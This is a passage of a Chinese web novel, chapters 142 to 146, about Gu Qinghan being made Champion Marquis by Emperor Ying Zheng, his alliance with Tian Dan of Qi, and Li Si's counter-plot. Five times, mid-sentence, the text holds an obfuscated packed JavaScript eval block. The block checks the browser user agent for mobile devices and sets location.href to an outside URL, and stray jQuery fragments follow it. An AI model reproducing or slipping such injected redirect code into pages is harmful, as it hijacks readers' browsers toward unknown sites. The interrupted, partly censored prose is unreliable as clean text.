这一巴掌,彻底宣告了李斯与顾清寒这场隔空斗法的结局。 完败。 …… 麒麟殿上,朝会的气氛前所未有的诡异。 武将们个个昂首挺胸,面带红光,与有荣焉。 文官,特别是以李斯为首的一系,则个个眼观鼻,鼻观心,噤若寒蝉。 李斯就站在百官之首,身形依旧挺拔,但那张脸,却灰败得像失了水分的枯木。 郎中令蒙毅手持玉笏,高声奏报道:“启奏陛下!九原右庶长顾清寒,于狼居胥山下,率军八千,大破匈奴右贤王部三万铁骑,阵斩其王,尽歼其众,俘获牛羊战马无数,为我大秦,扫平北疆大患!此乃不世之奇功!” “另,丞相李斯上奏,言顾清寒所献之顾公犁,乃利国神器,不敢独占,已尽数送交少府监,请陛下定夺。” 蒙毅的声音在空旷的大殿中回荡,每一个字,都像一记重锤,砸在李斯一系的官员心上。 将一场谋逆的战功,和一件羞辱的证物,放在一起上奏。 **,还要诛心。 龙椅之上,嬴政面沉如水,看不出喜怒。 他沉默了许久,久到殿上的官员们连呼吸都快要停滞。 终于,他缓缓开口,声音威严而洪亮。 “准奏。” 两个字,让李斯的身形微不可查地晃了一下。 “顾清寒以弱冠之龄,扬我大秦国威,安我北疆边陲,功在社稷,利在千秋。朕心甚慰。” 嬴政的目光扫过下方,最后,落在了李斯那灰败的脸上。 “传朕旨意!” “晋,九原右庶长顾清寒,为左庶长,食邑增至两千户!” “封,顾清寒为‘冠军侯’,赐金千两,锦缎百匹!” “令,少府监即刻仿制‘顾公犁’,所需精钢,由九原天工坊供给。凡我大秦开垦荒地之民,皆可由官府免费申领此犁,以彰冠军侯惠民之心。” 旨意一道接着一道,如同一道道天雷,在麒麟殿上炸响。 左庶长! 冠军侯! 冠军侯这三个字,如同一座大山,轰然压下。 取勇冠三军之意,这是何等样的殊荣。 更要命的是最后一道旨意。 让少府监仿制,却要九原供给精钢。 这等于是在告诉全天下,如今大秦最核心的战略物资——精钢,只有九原能产。 让百姓免费申领,却要彰显冠军侯惠民之心。 这等于是在用皇帝的信誉,为顾清寒收拢天下民心。 这已经不是赏赐了。 这是陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725901|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在亲自下场,为顾清寒披上了一件刀枪不入,万法不侵的黄金圣衣。 从此以后,顾清寒在北疆的一切行为,都将是奉旨行事。 谁再敢说他拥兵自重,就是质疑陛下的眼光。 谁再敢封锁九原,就是与天下万民为敌! 李斯站在那里,仿佛被抽干了所有的精气神。 他感觉自己不是站在朝堂上,而是被扒光了衣服,绑在了咸阳的城楼上,任由天下人指点评说。 “臣……领旨谢恩。” 李斯缓缓跪下,额头重重地叩在冰冷的地砖上。 他知道,从这一刻起,他与顾清寒的战场,已经结束了。 因为裁判亲自下场,吹响了黑哨,还把对手抬到了一个他永远也无法企及的高度。 …… 赵正下榻的客栈,陆佩奇的脸白得像一张纸。 他刚刚汇报完朝堂上发生的一切,连声音都在发抖。 “陛下……您……您这是……” 他已经不知道该说什么了,大脑一片空白。 封侯拜将,开府建牙。 这在任何一个朝代,都是人臣的极致。 可陛下就这么轻飘飘地,赏给了一个铁了心要**的孙子。 这等于是在给一个准备炸掉自家房子的熊孩子,递过去了一箱子威力更大的**。 嬴政正慢悠悠地喝着一碗新送来的羊肉汤,那是顾清寒让人从草原上捎来的,味道鲜美无比。 他吹了吹热气,咂了咂嘴,才抬眼看向陆佩奇。 “怕什么?”嬴政的语气像是在聊家常,“朕的孙儿,立了这么大的功,朕要是不赏,岂不是寒了天下将士的心?” “可是……那可是冠军侯啊!他……” “他担得起。”嬴政打断了他,语气不容置疑,“李斯想用秦法这把刀去杀他。那朕,就赐他一把比秦法更锋利的刀,那就是君权。” 他放下汤碗,用手指蘸了点汤汁,在桌上画了一个圈。 “在这个圈里,他顾清寒,就是朕。他的话,就是朕的旨意。他的兵,就是我大秦的兵。李斯再想动他,就得先问问朕,问问这满朝文武,问问天下百姓,答不答应。” 第142章 左庶长,冠军侯 第一百四十二章左庶长,冠军侯 嬴政笑了,那笑容里,带着一丝老狐狸般的狡黠。 “再说了,这小子在外面给朕挣了这么大的家业,又是打匈奴,又是弄精钢,朕这个当爷爷的,给他点零花钱,不过分吧?” 陆佩-奇嘴角狂抽,心中只有一个念头: 陛下,您管一个侯爵之位,叫零花钱? 这哪里是零花钱,这分明是您亲手递过去的,一把足以撬动整个大秦江山的钥匙。 嬴政看着陆佩奇那副快要昏厥的模样,心情大好,又端起汤碗喝了一口。 “行了,别一副天塌下来的样子。” 他擦了擦嘴,“朕倒是很好奇,这小子得了这么大的好处,下一步,想干嘛?” 他顿了顿,目光望向窗外,变得深邃而悠远。 “北边的狼,已经打服了。西边的河西走廊,东边的燕赵之地,南边的百越蛮荒……” “这天下的棋盘,才刚刚铺开呢。好戏,还在后头。” 封侯的圣旨,是跟着屠睢送来的那五百匹贺功战马,一并抵达九原的。 当那名来自咸阳的内史使者,尖着嗓子,在郡守府前,当着九原所有头面人物,念出“封,顾清寒为冠军侯”这六个字时。 整个九原城,先是死一般的寂静,随即,爆发出了一阵能把天都给掀翻的狂欢。 “侯爷!咱们顾少是侯爷了!” “冠军侯!俺听过!取的是勇冠三军的意思!这是咱大秦武将最高的荣耀啊!” 牛辅站在人群里,激动得浑身都在抖。 他那张黝黑的脸膛涨成了猪肝色,蒲扇般的大手“啪”地一声拍在旁边李山河的肩膀上,差点把这独眼龙拍得跪下去。 “山河!听见没!冠军侯!比俺这将军大!比那什么右庶长也大!这**是天底下最大的官了吧?” 李山河疼得龇牙咧嘴,却也是满脸狂喜:“大!肯定大!除了皇帝老儿,就数咱们侯爷最大了!” 牛辅一听,眼睛瞪得像铜铃,他猛地挤出人群,冲到顾清寒面前。 “噗通”一声单膝跪地,嗓门吼得地动山摇:“侯爷!陛下都封您冠军侯了!这是啥意思?这就是看好您,让您去当天下第一的冠军!咱们还等啥?这就调转马头,杀回咸阳!您当皇帝,俺给您当开路先锋!” 周围的将士们跟着一片起哄,个个摩拳擦掌,仿佛下一刻就能打进咸阳宫,一人分一个宫女。 顾清寒哭笑不得地看着自己这个憨直的部下,一脚踹在他屁股上:“滚蛋!起来!想**也不看看时候。” 他嘴上骂着,心里却跟明镜似的。 赵老伯这手笔,真**绝了。 这哪里是封赏,这分明是当着全天下的面,在他顾清寒的脑门上,盖了一个“奉旨**,谁动谁死”的玉玺大印。 …… 夜深了。 书房内,姜瞳正细心地为顾清寒卸下那身象征着荣耀,也同样沉重的甲胄。 她没有像外面那些人一样狂喜,绝美的脸上,带着一丝洞悉一切的恬静。 烛火下,她那双会说话的眼睛,比天上的星辰还要亮。 “夫君,”她将叠好的披风放在一旁,声音温婉如水,“陛下赐予您的,不是一个侯位,而是一座更华丽的囚笼。” 顾清寒正端着茶杯的手顿了一下,抬眼看她。 姜瞳微微一笑,继续说道:“他将天下所有人的目光,都引到了九原,引到了夫君您的身上。从此以后,您走的每一步,都不能再像从前那般随心所欲,都要经得起天下人的审视。这,是囚笼。” 她顿了顿,走到顾清寒身边,拿起桌上那枚刻着冠军侯的崭新大印,递到他手中。 “但同时,陛下也给了您一把打开这囚笼的钥匙。” 她的手指轻轻划过印章上的纹路,“他告诉天下人,您顾清寒,是他的人。他默许了您在北疆的一切。您可以用这个身份,去做许多以前不能做,也不敢做的事情。这,便是钥匙。” 她抬起头,美目中流转着智慧的光芒:“只是,这把钥匙,既能开锁,也能伤人。如何用,全在夫君一念之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725902|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 顾清寒握着那枚冰冷而沉重的侯印,看着自己这位才貌双绝的妻子,心中涌起一股暖流。 世人只看得到冠军侯的风光,唯有她,能看穿这风光背后的惊涛骇浪。 他将姜瞳揽入怀中,在她光洁的额头上轻轻一吻。 “放心,你夫君我,开锁的本事,向来不错。” …… 第二日,郡守府的议事厅内。 巨大的沙盘前,顾清寒、文远、牛辅、李山河等人齐聚一堂。 牛辅还在为自己昨天被踹了一脚而耿耿于怀,瓮声瓮气地说道:“侯爷,俺想不明白。这咸阳城里的皇帝都把帽子给咱送到头顶了,咱干嘛不顺势……” “牛将军,”文远在一旁,端着茶杯,慢悠悠地打断了他,脸上带着一丝揶揄的笑意,“冠军侯的‘冠’,是勇冠三军的冠。可‘军’在哪里呢?” 牛辅一愣:“军?咱们这不都是军吗?破阵营、玄甲军,拉出去哪个不是嗷嗷叫的狼崽子?” 文远摇了摇头,走到沙盘前,用木杆在上面画了一个大大的圈,将九原和漠南草原都圈了进去。 “我们,只是北疆之军。陛下此举,看似荣耀无限,实则是将我们推到了明处,放在火上烤。关中的世家大族,南方的楚地旧贵,东边的齐鲁大儒,哪一个不把我们视为眼中钉,肉中刺?我们现在杀进咸阳,就是四面皆敌,自取灭亡。” 顾清寒点了点头,接过话头:“文远说得对。皇帝是不能这么当的。” 他走到沙盘前,所有人的目光都集中在他身上。 只见他的手指,没有像众人预料的那样,指向南方的咸阳,而是向西,重重地划过了一条狭长的通道。 河西走廊。 “李斯用朝廷的法度,断我的粮道,封我的商路,想把我困死在九原。” 顾清寒的眼中,闪烁着一种名为野心的光芒,“那我就用草原的牛羊,用天工坊的兵甲,用我冠军侯的身份,自己走出一条黄金商道。” 他又指向了东边,那片属于燕赵的故地。 第143章 六国遗民来投,天下棋局再变 第一百四十三章六国遗民来投,天下棋局再变 “我还要让大秦的丝绸、东海的咸盐、南方的茶叶,都从我的地盘上走。朝廷不给我活路,我就自己修一条通天的路。我要让天下所有的钱,都争着抢着,往我九原流!” “当所有人都靠着我吃饭时,”他收回手,环视众人,嘴角勾起一抹自信的弧度,“这天下,谁说了算,还用问吗?” 牛辅听得云里雾里,但他听懂了最后一句话,顿时兴奋起来,一拍大腿:“俺懂了!侯爷是想让全天下的人,都给咱们种地!谁不听话,就不给他饭吃!高!实在是高!” 议事厅内响起一阵善意的哄笑。 就在这时,一名亲卫快步走了进来,躬身禀报:“启禀侯爷,府外有一人求见。他说他来自临淄,想与侯爷做一笔大生意。” 临淄? 顾清寒和文远对视了一眼,都从对方眼中看到了一丝诧异。 那是旧齐国的都城,远在千里之外的东海之滨。 “让他进来。” 片刻之后,一个身穿儒衫,气质儒雅,但眉宇间却带着一股掩饰不住的精明与悍勇之气的中年人,被带了进来。 他一进门,便对着顾清寒行了一个标准的大礼,不卑不亢。 “草民田儋,拜见冠军侯。” 他身后,两名仆人抬上一个木箱。 “闻侯爷神威,扫平北疆。草民无以为敬,特备薄礼一份,愿为侯爷贺。” 箱子打开,里面装的,不是金银珠宝,而是一堆雪白细腻,颗粒分明的——海盐。 在内陆,尤其是在北疆,盐,比金子还要贵重。 顾清寒的眼睛眯了起来。 田儋,这个姓氏,在旧齐国,可不是普通百姓。 他看着眼前这个叫田儋的男人,又看了看那箱洁白的海盐,忽然笑了。 看来,自己的冠军之名,已经传出去了。 而这天下想找他合作的军,也开始主动找上门来了。 棋盘,变得越来越大了。 议事厅内,所有人的目光都落在了那个自称田儋的男人身上。 顾清寒示意他免礼,做了个“请”的手势,自己则好整以暇地坐回主位,端起了茶杯,动作不急不缓。 他没有说话,文远也没有。 牛辅和李山河等人更是粗中有细,知道这种场合轮不到他们先开口,只是瞪着眼睛,好奇地打量着这个气质与众不同的儒生。 厅内的气氛,一时间有些微妙的安静。 田儋也不着急,他先是看了一眼那箱洁白如雪的海盐,才再次躬身,声音清晰而沉稳:“草民此来,是想用东海之盐,换侯爷手中的天工之铁。” 此言一出,牛辅的眼睛瞬间亮了。 盐换铁? 这买卖做得过! 九原什么都多,就是铁多得能堆成山! 顾清寒呷了口茶,眼皮都没抬一下:“大秦律,盐铁官营,私贩者,死罪。阁下是觉得我九原的刀不够快,还是觉得你田氏的脖子,比铁还硬?” 他的语气很平淡,却让厅内的温度骤然降了几分。 田儋闻言,非但没有畏惧,反而笑了起来。 那是一种看透了世情的、带着几分豪气的笑。 “侯爷说笑了。若大秦的律法真能管到这北疆之地,您又何以能封冠军侯?若田氏真畏惧死罪,今日又怎敢踏入这九原城?” 他直视着顾清寒,目光坦荡,“天下熙熙,皆为利来。我等贩盐,是为了活命。侯爷您练兵铸甲,难道是为了游山玩水吗?” “放肆!”牛辅猛地一拍桌子,站了起来,“怎么跟我们侯爷说话的!” “牛辅,坐下。”顾清寒淡淡地发话,目光却依旧锁在田儋身上,“继续说。” 田儋整理了一下衣冠,对着顾清寒深施一礼:“不瞒侯爷,我田氏在齐地,尚有几分薄面。东海之滨,盐田万顷,皆在我等掌控之中。我们有盐,数不尽的盐。但我们缺的,是能保护这些盐田的刀,是能让我们安身立命的铁。” 他顿了顿,声音压低了几分,却字字千钧:“始皇帝收天下之兵,铸以为金人十二。我六国旧族,空有万贯家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725903|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财,却手无寸铁,如三岁小儿抱金过市,任人宰割。我们听闻侯爷在北疆,以天工之铁,铸玄甲之军,大破匈奴。我等便知,这天下,还有能让我们挺直腰杆活下去的地方。” 文远一直沉默不语,此刻却缓缓开口:“田先生所求的,恐怕不只是一笔买卖吧。” 田儋看向文远,眼中闪过一丝赞许:“先生高见。我们想要的,是一个承诺,一个靠山。我们愿以东海之盐,源源不断地供给九原。我们甚至可以利用田氏在东方的商路,为侯爷运来南方的丝绸、蜀中的茶叶。我们只有一个条件……” 他看着顾清寒,一字一句地说道:“我等愿奉冠军侯为尊,唯侯爷马首是瞻。只求侯爷能卖给我们三千套兵甲,并允诺,在我等遭遇不测之时,侯爷的玄甲军,能为我们田氏,讨一个公道!” 这已经不是做生意了。 这是投名状。 是六国遗民,在向这位新崛起的冠军侯,献上他们的忠诚与财富。 牛辅听得瞠目结舌,他看看顾清寒,又看看田儋,脑子里乱成一锅粥。 怎么回事? 咱们不就是打了趟匈奴吗? 怎么连千里之外的齐国人,都跑来认老大了? 顾清寒终于放下了茶杯。 他站起身,走到田儋面前,没有立刻回答,反而问了一个看似不相干的问题:“我听说,临淄的海鲜,冠绝天下。不知田先生这次,可有带来?” 田儋一愣,随即反应过来,脸上露出狂喜之色,他知道,对方这是答应了。 “带了!带了!”他激动得声音都有些颤抖,“草民备下了最好的鱼干、虾酱,就等侯爷品尝!” “好。”顾清寒点了点头,重新坐下,语气恢复了之前的平静,“生意,我做了。具体的章程,你与文远先生商议。我只有一个要求,开春之前,第一批海盐,必须运抵九原。” “侯爷放心!”田儋激动地再次下拜,“莫说开春,两个月内,草民保证,足够九原三十万军民一年嚼用的海盐,必会出现在侯爷的仓库里!” …… 第144章 东海入瓮,西府磨刀 第一百四十四章东海入瓮,西府磨刀 送走了田儋,议事厅内依旧一片安静。 牛辅憋了半天,终于忍不住凑到顾清寒身边,小声问道:“侯爷,俺还是不明白。咱们就卖他点破铜烂铁,他咋就跟见了亲爹一样,又送盐又送钱,还要给咱们当小弟?” 文远在一旁摇了摇头,轻笑道:“牛将军,你看到的,是盐和铁。主公看到的,却是人心和天下。” 他走到沙盘前,拿起那根木杆,不再是画圈,而是在东方的齐鲁大地上,重重地点了一下。 “田儋,代表的不是他自己,而是整个齐地的六国旧族。他们有钱、有粮、有人脉,唯独缺一样东西——名分。” 文远看向顾清寒,眼神中带着一丝狂热的敬佩:“而主公您,现在最不缺的,就是名分。冠军侯这三个字,就是陛下亲手递给您的旗帜。现在,田儋带着东方士族,主动来投奔到您这面大旗之下。 这意味着,从今天起,我们不再是孤悬北疆的孤军。我们有了富甲天下的东方做钱袋,有了连通南北的商路做血脉。主公您那句‘天下作棋盘’,今日,才算是真正落下了第一颗震动全局的棋子。” 顾清寒负手而立,望着窗外。 他的棋盘,确实越来越大了。 西有草原为马场,东有齐鲁为钱仓。 这盘棋,下得越来越有意思了。 …… 咸阳,客栈。 陆佩奇连滚带爬地冲进嬴政的房间时,嬴政正拿着一块刚从九原送来的风干牛肉,小口地嚼着,旁边还放着一小碟晶莹剔透的海盐,用来蘸着吃。 “陛……陛下!”陆佩奇的声音带着哭腔,脸白得像见了鬼,“出……出大事了!” 嬴政瞥了他一眼,不紧不慢地将牛肉咽下,才问道:“怎么,那小子又打了什么胜仗?” “不是胜仗!是……是田儋!旧齐田氏的嫡系子孙,田儋,跑去九原了!” 陆佩奇的声音都在发颤,“他……他们搭上线了!六国的余孽,都……都开始往他身边**了!陛下,这已经不是养虎为患了,这是在养龙啊!一条要吞掉整个大秦的恶龙!” 嬴政闻言,动作顿了一下。 他没有发怒,也没有惊慌,反而拿起一块牛肉,蘸了蘸那碟海盐,又放进嘴里,细细地品味起来。 “嗯,这海盐,确实比朕宫里的贡盐,味道要正。” 他慢悠悠的评价,差点让陆佩奇一口气没上来,当场昏过去。 都火烧眉毛了,您还在关心盐的味道? 嬴政放下牛肉,擦了擦手,这才抬眼看向快要崩溃的陆佩奇,嘴角勾起一抹无人能懂的弧度。 “怕什么?” “六国的鬼魂,总是在阴暗的角落里窃窃私语,朕派人找了几十年,都抓不干净。如今,清寒给他们立起了一面大旗,让他们从阴沟里爬出来,聚到阳光下,这不是好事吗?” 他站起身,走到窗边,望着北方,眼神深邃得如同星海。 “朕倒是想看看,这些心怀故国的亡魂,这些野心勃勃的饿狼,聚在他身边,究竟是会助他成龙,还是会反过来,将他啃得尸骨无存。” 嬴政转过身,看着呆若木鸡的陆佩奇,笑了。 “朕的孙儿,想坐朕的位子,光会打仗可不行。” “他得学会,如何与群狼共舞。” ...... 九原郡守府,议事厅。 持续了两天的谈判,终于进入了尾声。 与其说是谈判,不如说是一场由文远主导的,对田儋底线的精准切割。 文远端坐席上,手中拿着一份刚刚拟好的盟约草案,脸上挂着温和的笑意,说出的话却像天工坊淬炼出的刀子,不带一丝烟火气,却刀刀见骨。 “田先生,盟约条款,你我都已过目。我再重申三点。” 文远伸出三根手指,“其一,东海盐,九原以市价三成购入,上不封顶。此为根基,不可动摇。” “其二,凡经由田氏商路,运往九原的货物,九原要抽一成利。作为回报,九原可为田氏商队,提供‘冠军侯’旗号的庇护。” “其三,也是最重要的一点。九原售予田氏的兵甲,只收成本价,但田氏需将齐地所有世家、豪族、工坊的名录,以及秦廷在东方各郡县的官员动向,每半月呈报一份。我们要的,是能看清棋盘的眼睛。” 田儋的额头上渗着细密的汗珠。 这三条,每一条都掐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735013|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了他的命门上。 三成盐价,几乎是贴着成本,不让他赚一分钱。 一成抽利,更是霸道无比,等于是在他田氏的血脉上,安了一个随时可以抽血的口子。 而最后一条,更是要他将整个东方旧族的底裤都掀给九原看,将他们田氏,彻底绑死在冠军侯的战车上。 他身边的一位族老面露难色,嘴唇翕动,想说些什么。 田儋却抬手制止了他,他看着气定神闲的文远,又看了看坐在主位上,自始至终都在闭目养神的顾清寒,心中涌起一阵无力感。 他知道,自己没得选。 眼前的这些人,不是关中那些可以讨价还价的商人。 他们是刚刚屠灭了三万匈奴铁骑的狼。 跟狼谈生意,能保住性命,已经是最大的恩赐。 田儋深吸一口气,站起身,对着顾清寒,郑重地躬身一拜。 “侯爷在上,文远先生所言,田儋,尽数应下!” 他咬着牙,像是做出了一个耗尽全身力气的决定,“从今往后,我齐地田氏,愿为侯爷东门之犬,为侯爷,看好这天下粮仓!” 顾清寒这才缓缓睁开眼睛,他看着田儋,脸上没什么表情。 “犬,我不要。”他声音不大,却让整个议事厅都听得清清楚楚,“我要的,是能为我开疆拓土,咬死敌人的盟友。记住,是盟友。” 他站起身,走到田儋面前,亲手将他扶起。 “你给我盐,我给你刀。你为我聚财,我为你撑腰。这桩买卖,很公平。” 田儋被顾清寒扶着,感受着对方手上传来的温度和力量,看着那双年轻却深不见底的眼睛,心中最后的一丝疑虑也烟消云散。 他激动得浑身颤抖,再次拜倒。 “田氏,愿为侯爷效死!” 牛辅在一旁看得直迷糊,他凑到李山河耳边,小声嘀咕:“这读书人说话就是绕。俺听了半天,不就是要他白给咱们东西,还让他给咱们当探子吗?直接抢不就完了,费这劲干嘛?” 李山河独眼中闪过一丝精光,压低了声音回道:“牛哥,这你就不懂了。抢,只能抢一次。现在,是他们哭着喊着,求咱们去抢他一辈子。” …… 第145章 西风烈,双龙会 第一百四十五章西风烈,双龙会 咸阳,丞相府。 书房内,檀香袅袅。 李斯跪坐在席上,面前铺着一卷上好的竹简,他手持狼毫,正在练字。 他的动作很慢,一笔一划,力透纸背,试图用这种方式,来压下心中的烦躁与戾气。 自从冠军侯的封赏下来,他已经把自己关在府里十几天了。 他不见客,不上朝,仿佛成了一个被世界遗忘的孤魂。 可他越想静,心就越乱。 “啪嗒。” 一滴墨汁,不受控制地从笔尖滴落,在干净的竹简上,晕开一团刺眼的污渍。 李斯的手僵住了。 就在这时,一名心腹幕僚脚步匆匆地走了进来,脸上带着压抑不住的惊惶。 “相……相爷……” 李斯没有回头,只是盯着那团墨迹,声音沙哑地问:“说。” “九原……九原那边传来消息。”幕僚的声音都在抖,“齐人田儋,已与冠军侯……定下盟约。田氏,以东海盐铁之利,尽数归附九原!” “咔嚓!” 李斯手中的狼毫笔杆,竟被他硬生生捏断。 断口处,几根尖锐的竹刺,深深扎进了他的掌心。 鲜血混着墨汁,顺着他的指缝,一滴一滴,落在身前的竹简上,将那团污渍,染成了更加触目惊心的暗红色。 幕僚吓得“噗通”一声跪倒在地,头都不敢抬。 书房内,死一般的寂静。 没有怒吼,没有咆哮。 只有李斯越来越沉重的呼吸声。 许久,他才缓缓松开手,任由那半截断笔滚落在地。 他看着自己掌心的伤口,看着那片被血墨玷污的竹简,脸上忽然浮现出一抹诡异的、自嘲的笑容。 “好……好一个冠军侯……好一个朕的孙儿……” 他喃喃自语,声音轻得仿佛梦呓。 他输了。 他以为自己只是输在了一场北疆的战役上,输在了陛下的偏心上。 现在他才明白,他输掉的,是整个天下。 那个年轻人,用一场他看不懂的战争,撬动了匈奴。 又用一个他看不懂的爵位,撬动了六国。他像一个高明的棋手,看似随手落子,却招招都打在了他的死穴上。 他李斯穷尽一生,用法度去编织一张网,想要网住天下。 而对方,却直接掀了桌子,用利益做刀,将他的网,割得支离破碎。 “备车。”李斯的声音恢复了平静,一种死水般的平静。 “相爷……要去何处?” “上郡。”李斯缓缓站起身,看了一眼窗外灰蒙蒙的天空,“去见我那不成器的儿子。” …… 九原,郡守府后院。 皎洁的月光下,顾清寒和姜瞳正并肩散步。 “夫君今日,算是为这天下,画下了一道楚河汉界。” 姜瞳的声音,一如既往的温柔,却带着洞悉人心的睿智。 “哦?怎么说?”顾清寒笑道。 “田氏来投,看似是六国遗民心向夫君。实则,是陛下在逼着天下人站队。” 姜瞳停下脚步,仰头看着顾清寒,“他将您这面‘冠军侯’的大旗,高高地立在北疆。顺您者,可得兵甲之利,如田氏。逆您者,便是与陛下为敌,与天下民心为敌,如李斯。” 她美目流转,带着一丝担忧:“只是,水能载舟,亦能覆舟。今日田氏能为利而来,明日,也可能为更大的利而去。与狼共舞,终究要小心狼的爪牙。” 顾清寒笑了笑,将妻子的手握得更紧了些。 “瞳儿放心,我既然敢把刀递给他们,就不怕他们反咬一口。” 他的眼中闪过一丝冷冽,“喂不熟的狼,杀了剥皮吃肉,正好给听话的狼,做一件过冬的衣裳。” 两人正说着,文远快步走了过来,脸上带着一丝兴奋。 “主公,大喜!” “何喜之有?” “公输大匠那边,传来了好消息!”文远递上一卷图纸,“他说,按照您之前提过的想法,他已经研究出了如何利用水力,来驱动锻锤和鼓风机!若是此法可行,天工坊的产铁量,至少能再翻三倍!” 三倍! 顾清寒和姜瞳对视一眼,都看到了对方眼中的震撼。 这意味着,他们将拥有源源不断,近乎无限的精钢。 “还有一件事。”文远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735014|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低了声音,“屠睢将军派人送来密信。李斯,已经离开咸阳,正快马加鞭,赶往上郡他儿子李由的军中。” 顾清寒的眉头挑了一下。 看来,这位大秦的丞相,在被他一巴掌扇倒之后,并不打算躺在地上装死。 顾清寒走到院中的石桌旁,那里,同样摆着一副巨大的沙盘。 他的目光,从东方的齐鲁之地,缓缓移开。 东海已入瓮中,暂时无需多虑。 他的手指,越过中原,落在了西边。 那条狭长的,如同一柄利剑,直插西域的咽喉要道——河西走廊。 “文远。” “属下在。” “传令李山河。”顾清寒的手指,在沙盘上重重一点,仿佛敲响了新战场的鼓点,“让他从玄甲军和破阵营中,挑选精锐五千,即刻西进。” “目标,月氏王庭。” “告诉他,我不只要他的马,我还要他的地,要他那条能通往西域**之国的黄金商道。” 顾清寒的嘴角,勾起一抹冰冷的弧度。 “李斯想去西边练兵,可以。” “我就先把他的磨刀石,给抢了。” 上郡,郡守府。 寒风卷着沙砾,拍打着窗棂,发出呜呜的悲鸣。 李斯策马一夜,风尘仆仆,当他出现在儿子李由面前时,整个人仿佛被抽干了生气,只剩下一具枯槁的躯壳。 “父亲!”李由一身戎装,快步迎上,眼中闪过一丝惊愕与不忍。 他记忆中的父亲,永远是那个站在麒麟殿上,以法度为剑,言出则天下风云变色的丞相。 何曾见过这般落魄的模样。 书房内,李由屏退了左右,亲自为父亲倒上一杯热茶。 “父亲,咸阳之事,孩儿已略有耳闻。那顾清寒……” “住口!”李斯猛地一挥手,打翻了茶杯,滚烫的茶水溅在手背上,他却浑然不觉。 他死死盯着自己的儿子,眼中布满了血丝,“你懂什么!你以为为父只是输了一场朝堂之争吗?” 李由被这声厉喝吓得一愣,不敢再言语。 李斯喘着粗气,胸膛剧烈地起伏着,像一头被困在笼中的老兽。 第146章 李 斯父子的计谋 第一百四十六章李斯父子的计谋 “他已经不是北疆的一支孤军了。东方的盐,南方的茶,六国旧族的钱,都在源源不断地往九原流。他用一场仗,打出了名分;用一个侯位,聚拢了人心。他那套东西,秦法管不了,军功压不住!他已经成了气候!” 李由的脸色变得煞白。 他虽远在上郡,但也知道富可敌国与手握重兵结合在一起,意味着什么。 “那……那我们该如何是好?父亲,要不……我们向陛下请罪……” “请罪?”李斯发出一声凄厉的笑,像是听到了天大的笑话,“现在去请罪,就是把脖子洗干净了,送到他的刀下!我们已经没路可退了!” 他猛地站起身,走到墙上悬挂的地图前,枯瘦的手指,越过中原,重重地戳在了西边那片蛮荒之地上。 “这里!河西走廊!这里是我们最后的机会!” 李斯的眼中,重新燃起一抹疯狂的火焰,“陛下看重的,永远只有功绩!你在这里,守着这上郡,永远都只是屠睢第二!为父要你,立刻起兵,向西!去打月氏!去征服那些西域小国!” 他转过身,抓住李由的肩膀,指甲几乎要嵌进儿子的肉里。 “给我打下一片不输于北疆的疆土!给我抢来比草原牛羊更珍贵的战马和黄金!只要你的功劳大到能和那小子分庭抗礼,陛下就不得不再把天平摆正!去!用月氏王的头颅,为你自己,也为我李氏,挣回一条活路!” 李由呆呆地看着状若疯魔的父亲,一股寒意从脚底直冲头顶。 他明白了,这已经不是权谋之争,而是你死我活的豪赌。 他单膝跪地,声音因激动而颤抖:“孩儿,遵命!” 